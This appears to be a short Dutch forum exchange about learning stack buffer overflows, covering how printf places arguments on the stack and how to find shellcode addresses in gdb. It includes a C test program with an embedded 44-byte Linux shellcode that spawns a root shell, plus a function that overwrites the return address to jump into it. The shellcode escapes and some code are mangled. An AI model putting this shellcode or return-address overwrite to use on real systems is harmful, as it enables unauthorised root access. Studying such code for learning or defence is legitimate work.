Is dat de functie printf() voordat hij uitgevoerd wordt, de argumenten 
op de stack plaatst zodat deze later in de functie zelf gebruikt kunnen 
worden. 
0xbffff360is het adress van het begin van de shellcode dacht ik gezien 
de /x53 push ebx is. En gezien 7x 53 was gedeclareerd voor herkennings 
punt dacht ik dat de volgende lijn 0xbfff30 het begin van de shellcode was. 
Maar over het hoofd gezien in nasm geeft die start+ bss aan dus is nog ff 
door zoeken doe nog iets fout.
Wat probeer je precies te laten zien met deze functie?
Het was slechts een simpel voorbeeld van als je iets laat crashen
na welk adress je dan moet overschrijven.  En de eip waar die 
gecrashed is te saven als een esp adress. Dat was opzich de insteek.
grappig is trouwens wel als je uitvoerd : 
-----------------------------
#include (stdio.h)
char shellcode[] = /* 44 Byte shellcode van eSDee */
   "x31xc0x31xdbx31xc9xb0x46xcdx80x31"
   "xc0x50x68x2fx2fx73x68x68x2fx62x69"
   "x6ex89xe3x8dx54x24x08x50x53x8dx0c"
   "x24xb0x0bxcdx80x31xc0xb0x01xcdx80";
int mem(){ 
int *ret; 
ret = (int * ) &ret +2;
( * ret ) = (int) shellcode;
};
int main(int arg, char *argv[] ){
if(argc !=2){ 
printf("Test", argv[11111111111111111111111111111111],mem());
}
}
-----------------------------
Gdb het resultaat geeft program runned normaly. En het esp adress is 
overschreven. In het zelfde programma waardie eerst crashed in main.